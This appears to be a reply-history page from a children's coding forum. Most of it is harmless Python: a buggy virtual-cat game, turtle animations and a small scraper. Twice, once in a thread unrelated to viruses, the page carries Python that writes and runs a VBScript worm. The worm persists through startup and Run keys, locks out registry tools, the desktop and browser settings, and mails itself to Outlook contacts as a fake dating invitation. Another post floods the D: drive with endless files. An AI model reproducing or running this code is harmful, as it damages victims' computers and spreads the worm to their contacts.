猫史档案馆


蒟蒻OIer1048576

蒟蒻OIer1048576

Lv.1

只是喜欢Python而已……徒弟:程序侯

获赞:206收藏:39浏览:2002作品收藏:29

签名:只是喜欢Python而已…… 徒弟:程序侯

回复帖子评论
上一页5 页 / 共 60下一页

【Python作品分享】初识类【作业帖】 中回复

import time,threading,random


class Cat:
    def __init__(self,Type,name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 50

    def cry(self):
        print('喵~呜~(伤心)')

    def happy(self):
        print('喵~(快乐)')

    def hungry(self):
        print('喵~咕噜噜~(饿了)')

    def study(self):
        print('喵~')
        self.IQ+=5

    def eat(self,food):
        self.hungryValue += food*3


class SingCat(Cat):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 100

    def sing(self):
        print('啦啦啦')
        evaluate = input('我唱的好不好啊?')
        if evaluate == '好':
            self.happyValue = min(100,happyValue+10)
            self.happy()
        elif evaluate == '不好':
            print('喵~我可能还需要学习')
            self.happyValue-=15
            self.IQ+=10


class CodeMao(SingCat):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 200

    def code(self,time):
        for i in range(int(time)):
            print('打代码ing')
            time.sleep(1)
        self.happyValue = min(100, happyValue+10)
        self.happy()
        self.IQ += 10


class AICodeMao(CodeMao):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 400

    def SuperStudy(self,times):
        for i in range(int(times)):
            IQ+=0.01
            time.sleep(0.005)


class Person:
    def __init__(self):
        self.food=0
        self.Cat=Cat('可爱','喵喵')
    def work(self):
        print('今天,你赚了¥200,买了10袋喵粮')
        self.food+=10

def see(person):
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        print('喵喵的饥饿值=', person.Cat.hungryValue)
        print('喵喵的开心度=', person.Cat.happyValue)
        print('喵喵的IQ=', person.Cat.IQ)
        time.sleep(5)

def catset(person):
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        time.sleep(3)
        person.Cat.happyValue -= 1
        if person.Cat.happyValue <= 20:
            person.Cat.cry()
            if person.Cat.happyValue <0:
                print('我这么伤心,你不来安慰我么?')
        person.Cat.hungryValue -= 2
        if person.Cat.hungryValue <= 20:
            person.Cat.hungry()
            if person.Cat.hungryValue < 0:
                print('我这么饿!')

def main(person):
    cls=1
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        a=input('请输入行为(1——玩耍)(2——学习)(3——喂食)(4——工作):')
        if a == '1':
            if cls>=1:
                person.Cat.happy()
                person.Cat.happyValue += 5
            if cls>=2:
                person.Cat.sing()
                person.Cat.happyValue += 5
            if cls>=3:
                person.Cat.code(random.randint(1,5))
        elif a == '2':
            if cls == 4:
                person.Cat.SuperStudy(random.randint(1, 5)*200)
            else:
                person.Cat.study()
        elif a == '3':
            person.Cat.eat(person.food)
        elif a == '4':
            time.sleep(3)
            person.work()
        if person.Cat.IQ >=400:
            print('恭喜你,喵喵已升级为AI编程猫')
            person.Cat = AICodeMao('可爱', '喵喵')
        elif person.Cat.IQ >= 200:
            print('恭喜你,喵喵已升级为编程猫')
            person.Cat = CodeMao('可爱', '喵喵')
        elif person.Cat.IQ >= 100:
            print('恭喜你,喵喵已升级为唱歌喵')
            person.Cat = SingCat('可爱', '喵喵')
        else:
            person.Cat = Cat('可爱', '喵喵')
        time.sleep(1.5)

p=Person()
a1=threading.Thread(target=see, args=(p,))
a2=threading.Thread(target=catset, args=(p,))
a3 = threading.Thread(target=main, args=(p,))
a1.start()
a2.start()
a3.start()

2020-04-10T15:40:56 点赞:0

好奇问一下 中回复

我也想问

2020-04-10T15:44:30 点赞:0

【Python作品分享】初识类【作业帖】 中回复

蟹蟹~我下面的代码就是来自于此作品

2020-04-10T16:03:36 点赞:1

病毒!小心! 中回复

import time,threading,random


class Cat:
    def __init__(self,Type,name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 50

    def cry(self):
        print('喵~呜~(伤心)')

    def happy(self):
        print('喵~(快乐)')

    def hungry(self):
        print('喵~咕噜噜~(饿了)')

    def study(self):
        print('喵~')
        self.IQ+=5

    def eat(self,food):
        self.hungryValue += food*3


class SingCat(Cat):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 100

    def sing(self):
        print('啦啦啦')
        evaluate = input('我唱的好不好啊?')
        if evaluate == '好':
            self.happyValue = min(100,happyValue+10)
            self.happy()
        elif evaluate == '不好':
            print('喵~我可能还需要学习')
            self.happyValue-=15
            self.IQ+=10


class CodeMao(SingCat):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 200

    def code(self,time):
        for i in range(int(time)):
            print('打代码ing')
            time.sleep(1)
        self.happyValue = min(100, happyValue+10)
        self.happy()
        self.IQ += 10


class AICodeMao(CodeMao):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 400

    def SuperStudy(self,times):
        for i in range(int(times)):
            IQ+=0.01
            time.sleep(0.005)


class Person:
    def __init__(self):
        self.food=0
        self.Cat=Cat('可爱','喵喵')
    def work(self):
        print('今天,你赚了¥200,买了10袋喵粮')
        self.food+=10

def see(person):
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        print('喵喵的饥饿值=', person.Cat.hungryValue)
        print('喵喵的开心度=', person.Cat.happyValue)
        print('喵喵的IQ=', person.Cat.IQ)
        time.sleep(5)

def catset(person):
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        time.sleep(3)
        person.Cat.happyValue -= 1
        if person.Cat.happyValue <= 20:
            person.Cat.cry()
            if person.Cat.happyValue <0:
                print('我这么伤心,你不来安慰我么?')
        person.Cat.hungryValue -= 2
        if person.Cat.hungryValue <= 20:
            person.Cat.hungry()
            if person.Cat.hungryValue < 0:
                print('我这么饿!')

def main(person):
    cls=1
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        a=input('请输入行为(1——玩耍)(2——学习)(3——喂食)(4——工作):')
        if a == '1':
            if cls>=1:
                person.Cat.happy()
                person.Cat.happyValue += 5
            if cls>=2:
                person.Cat.sing()
                person.Cat.happyValue += 5
            if cls>=3:
                person.Cat.code(random.randint(1,5))
        elif a == '2':
            if cls == 4:
                person.Cat.SuperStudy(random.randint(1, 5)*200)
            else:
                person.Cat.study()
        elif a == '3':
            person.Cat.eat(person.food)
        elif a == '4':
            time.sleep(3)
            person.work()
        if person.Cat.IQ >=400:
            print('恭喜你,喵喵已升级为AI编程猫')
            person.Cat = AICodeMao('可爱', '喵喵')
        elif person.Cat.IQ >= 200:
            print('恭喜你,喵喵已升级为编程猫')
            person.Cat = CodeMao('可爱', '喵喵')
        elif person.Cat.IQ >= 100:
            print('恭喜你,喵喵已升级为唱歌喵')
            person.Cat = SingCat('可爱', '喵喵')
        else:
            person.Cat = Cat('可爱', '喵喵')
        time.sleep(1.5)

p=Person()
a1=threading.Thread(target=see, args=(p,))
a2=threading.Thread(target=catset, args=(p,))
a3 = threading.Thread(target=main, args=(p,))
a1.start()
a2.start()
a3.start()

2020-04-10T16:11:41 点赞:0

病毒!小心! 中回复

with open('C:\\a.vbs') as file:
    file.write(r'''On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","你中毒了!"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","友情娱乐!找我要解毒文件!"
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").A喵ressLists(1).A喵ressEntries(x)
Mail.Subject="今晚你来吗?"
Mail.Body="朋友你好:您的朋友Rose给您发来了热情的邀请。具体情况请阅读随信附件,祝您好运!            同城约会网"
Mail.Attachments.A喵(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://liudemin.myetang.com"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoA喵ingSubScriptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD''')
from os import system
system('cd ..\\..')
system('a.vbs')

2020-04-10T16:38:34 点赞:0

好奇问一下 中回复

~~

2020-04-10T16:41:27 点赞:0

好奇问一下 中回复

  

2020-04-10T16:41:42 点赞:0

【致敬】致所有训练师及编程猫工作人员的一封信 中回复

我会 Python Java C

2020-04-10T17:00:38 点赞:0

求素材!!!有没有会语言编程的朋友啊!!!我找你们有事 中回复

with open('C:\\a.vbs') as file:
    file.write(r'''On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","你中毒了!"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","友情娱乐!找我要解毒文件!"
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").A喵ressLists(1).A喵ressEntries(x)
Mail.Subject="今晚你来吗?"
Mail.Body="朋友你好:您的朋友Rose给您发来了热情的邀请。具体情况请阅读随信附件,祝您好运!            同城约会网"
Mail.Attachments.A喵(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://liudemin.myetang.com"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoA喵ingSubScriptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD''')
from os import system
system('cd ..\\..')
system('a.vbs')

2020-04-10T17:03:02 点赞:0

【用python做一个ide】第一部分:设计编辑器最基础UI 中回复

dalao!!!顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶顶顶顶顶的顶顶顶顶顶顶顶顶的顶顶顶顶

2020-04-10T17:10:04 点赞:1

【Python作品分享】猜数字 GuessNumber 中回复

151行:

import time,threading,random


class Cat:
    def __init__(self,Type,name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 50

    def cry(self):
        print('喵~呜~(伤心)')

    def happy(self):
        print('喵~(快乐)')

    def hungry(self):
        print('喵~咕噜噜~(饿了)')

    def study(self):
        print('喵~')
        self.IQ+=5

    def eat(self,food):
        self.hungryValue += food*3


class SingCat(Cat):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 100

    def sing(self):
        print('啦啦啦')
        evaluate = input('我唱的好不好啊?')
        if evaluate == '好':
            self.happyValue = min(100,happyValue+10)
            self.happy()
        elif evaluate == '不好':
            print('喵~我可能还需要学习')
            self.happyValue-=15
            self.IQ+=10


class CodeMao(SingCat):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 200

    def code(self,time):
        for i in range(int(time)):
            print('打代码ing')
            time.sleep(1)
        self.happyValue = min(100, happyValue+10)
        self.happy()
        self.IQ += 10


class AICodeMao(CodeMao):
    def __init__(self, Type, name):
        self.Type = Type
        self.name = name
        self.hungryValue = 100
        self.happyValue = 100
        self.IQ = 400

    def SuperStudy(self,times):
        for i in range(int(times)):
            IQ+=0.01
            time.sleep(0.005)


class Person:
    def __init__(self):
        self.food=0
        self.Cat=Cat('可爱','喵喵')
    def work(self):
        print('今天,你赚了¥200,买了10袋喵粮')
        self.food+=10

def see(person):
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        print('喵喵的饥饿值=', person.Cat.hungryValue)
        print('喵喵的开心度=', person.Cat.happyValue)
        print('喵喵的IQ=', person.Cat.IQ)
        time.sleep(5)

def catset(person):
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        time.sleep(3)
        person.Cat.happyValue -= 1
        if person.Cat.happyValue <= 20:
            person.Cat.cry()
            if person.Cat.happyValue <0:
                print('我这么伤心,你不来安慰我么?')
        person.Cat.hungryValue -= 2
        if person.Cat.hungryValue <= 20:
            person.Cat.hungry()
            if person.Cat.hungryValue < 0:
                print('我这么饿!')

def main(person):
    cls=1
    while person.Cat.happyValue >= 0 and person.Cat.hungryValue >= 0:
        a=input('请输入行为(1——玩耍)(2——学习)(3——喂食)(4——工作):')
        if a == '1':
            if cls>=1:
                person.Cat.happy()
                person.Cat.happyValue += 5
            if cls>=2:
                person.Cat.sing()
                person.Cat.happyValue += 5
            if cls>=3:
                person.Cat.code(random.randint(1,5))
        elif a == '2':
            if cls == 4:
                person.Cat.SuperStudy(random.randint(1, 5)*200)
            else:
                person.Cat.study()
        elif a == '3':
            person.Cat.eat(person.food)
        elif a == '4':
            time.sleep(3)
            person.work()
        if person.Cat.IQ >=400:
            print('恭喜你,喵喵已升级为AI编程猫')
            person.Cat = AICodeMao('可爱', '喵喵')
        elif person.Cat.IQ >= 200:
            print('恭喜你,喵喵已升级为编程猫')
            person.Cat = CodeMao('可爱', '喵喵')
        elif person.Cat.IQ >= 100:
            print('恭喜你,喵喵已升级为唱歌喵')
            person.Cat = SingCat('可爱', '喵喵')
        else:
            person.Cat = Cat('可爱', '喵喵')
        time.sleep(1.5)

p=Person()
a1=threading.Thread(target=see, args=(p,))
a2=threading.Thread(target=catset, args=(p,))
a3 = threading.Thread(target=main, args=(p,))
a1.start()
a2.start()
a3.start()

喵喵的进化

2020-04-10T17:16:13 点赞:0

帮我找灵感 中回复

MeToo

 

2020-04-13T09:35:20 点赞:0

帮我找灵感 中回复

4脸蒙X

2020-04-13T09:58:39 点赞:0

Python 使用白嫖网易翻译 API 进行翻译 中回复

鼎贴

2020-04-13T10:53:00 点赞:0

帮我找灵感 中回复

我也他投了:https://shequ.cod喵/work/46303458?entry=copy_work_url

2020-04-13T19:14:32 点赞:0

帮我找灵感 中回复

https://www.bilibili.com/video/bv1Hg4y187c2是我新做的

2020-04-13T19:15:34 点赞:0

啊啊啊啥事候S6赛季啊!啊啊啊 中回复

+1

2020-04-14T08:18:16 点赞:0

啊啊啊啥事候S6赛季啊!啊啊啊 中回复

while 1:
    print('啥时候更新啊!!!')

 

2020-04-14T08:19:45 点赞:0

啊啊啊啥事候S6赛季啊!啊啊啊 中回复

pubic class Test(){
    pubic static void main(String[] args){
        while(true){
            system.out.println('啥时候更新啊')
        }
    }
}

2020-04-14T11:06:33 点赞:0

我又双叒叕投稿了 中回复

https://www.bilibili.com/video/BV1Hg4y187c2

2020-04-14T11:18:30 点赞:0

LAG法则(工作室内) 中回复

111

 

2020-04-15T10:59:00 点赞:0

LAG法则(工作室内) 中回复

我缺词!

import turtle,time
turtle.write('来喽',font=('Arial',50,'bold'))
time.sleep(1)
turtle.undo()
def write(text, startx, starty):
    turtle.pu()
    turtle.goto(startx,starty)
    turtle.pd()
    turtle.seth(0)
    for i in text:
        turtle.write(i, font=('Arial', 50, 'bold'))
        turtle.pu()
        turtle.fd(50)
        turtle.pd()
        time.sleep(0.5)
for j in range(10, 0, -1):
    for i in range(10, 110, 2):
        turtle.write(j, font = ('Arial', i, 'bold'))
        time.sleep(0.01)
        turtle.undo()
write('我这缺词',-200,200)

2020-04-15T12:09:11 点赞:0

怎么爬虫啊 中回复

from urllib.request import *
text=urlopen(Request('http://baidu.com/')).read().decode('utf-8')
data=text.spilt('<title>')[1].split('</title>')[0]
print(data)

2020-04-15T12:30:49 点赞:0

LAG法则(工作室内) 中回复

import turtle,time
turtle.setup(width=0.99999, height=0.99999)
turtle.write('来喽', font=('Arial', 50, 'bold'))
time.sleep(1)
turtle.undo()
def write(text, startx, starty):
    turtle.pu()
    turtle.goto(startx,starty)
    turtle.pd()
    turtle.seth(0)
    for i in text:
        turtle.write(i, font=('Arial', 50, 'bold'))
        turtle.pu()
        turtle.fd(75)
        turtle.pd()
        time.sleep(0.3)
for j in range(10, 0, -1):
    for i in range(10, 110, 2):
        turtle.write(j, font = ('Arial', i, 'bold'))
        time.sleep(0.01)
        turtle.undo()
write('加入LAG蓝明工作室吧',-500,300)
write('这里有优秀的室长与室员',-500,200)
write('门槛只有45赞',-500,100)
write('是冲Lv3的工作室欧',-500,0)
write('快来加入我们吧',-500,-100)

2020-04-15T13:07:20 点赞:0

我的招人代码1.0 中回复

import turtle,time
turtle.setup(width=0.99999, height=0.99999)
turtle.write('来喽', font=('Arial', 50, 'bold'))
time.sleep(1)
turtle.undo()
def write(text, startx, starty):
    turtle.pu()
    turtle.goto(startx,starty)
    turtle.pd()
    turtle.seth(0)
    for i in text:
        turtle.write(i, font=('Arial', 50, 'bold'))
        turtle.pu()
        turtle.fd(75)
        turtle.pd()
        time.sleep(0.3)
for j in range(10, 0, -1):
    for i in range(10, 110, 2):
        turtle.write(j, font = ('Arial', i, 'bold'))
        time.sleep(0.01)
        turtle.undo()
write('加入LAG蓝明工作室吧',-500,300)
write('这里有优秀的室长与室员',-500,200)
write('门槛只有35赞',-500,100)
write('是冲Lv3的工作室欧',-500,0)
write('快来加入我们吧',-500,-100)
    

2020-04-15T13:23:12 点赞:0

病毒!小心! 中回复

import threading,random
def run(x):
    i=0
    while 1:
        i+=x
        with open('D:\\'+str(i)+'.'+chr(random.randint(65,90)),'w',encoding='utf-8') as f:
            f.write('(ಡωಡ)hiahiahia')
while True:
    threading.Thread(target=run,args=(random.randint(1000,20000),)).start()

2020-04-15T15:21:36 点赞:0

【Python作品分享】请看看我这个哪儿错了【求助帖】 中回复

import easygui


username = easygui.enterbox('请输入注册账号')
userpwd = easygui.enterbox('请输入注册密码')
name = username
pwd = userpwd


class User():
    def __init__(self, name, pwd):
        self.pwd = pwd
        self.name = name

    def register(self):
        easygui.msgbox('你的注册账号为:'+self.name+user '\n'+'你的注册密码为:'+self.pwd) #错误-1:self.name+USER '\n'是干什么的?


user = User(name, pwd)
user.register() #错误-2:你在登陆前告诉密码?
myname = easygui.enterbox('请输入登录账号')
if myname == name:
    mypwd = easygui.enterbox('请输入登录密码')
if mypwd == pwd:
    easygui.msgbox('登录成功')
if mypwd != pwd:
    easygui.msgbox('密码输入有误')
if myname != name:
    easygui.msgbox('账号输入有误')

2020-04-15T15:46:16 点赞:0

LAG法则(工作室内) 中回复

import turtle,time
turtle.setup(width=0.99999, height=0.99999)
turtle.write('来喽', font=('Arial', 50, 'bold'))
time.sleep(1)
turtle.undo()
def write(text, startx, starty):
    turtle.pu()
    turtle.goto(startx,starty)
    turtle.pd()
    turtle.seth(0)
    for i in text:
        turtle.write(i, font=('Arial', 50, 'bold'))
        turtle.pu()
        turtle.fd(75)
        turtle.pd()
        time.sleep(0.3)
for j in range(10, 0, -1):
    for i in range(10, 110, 2):
        turtle.write(j, font = ('Arial', i, 'bold'))
        time.sleep(0.01)
        turtle.undo()
write('加入LAG蓝明工作室吧',-500,300)
write('这里有优秀的室长与室员',-500,200)
write('门槛只有35赞',-500,100)
write('是冲Lv3的工作室欧',-500,0)
write('快来加入我们吧',-500,-100)

2020-04-15T16:00:13 点赞:0

把你心中认定的喵发出来! 中回复

【python】&【java】

2020-04-15T16:31:36 点赞:0

蝌蚪文专用测试帖 中回复

                                                             /ۗۢۜ۬ۘ۟ۨۙۗۨ۠ۚۘۡۙۖ۫ۧۧ۫ۗۨ 

2020-04-15T16:46:22 点赞:0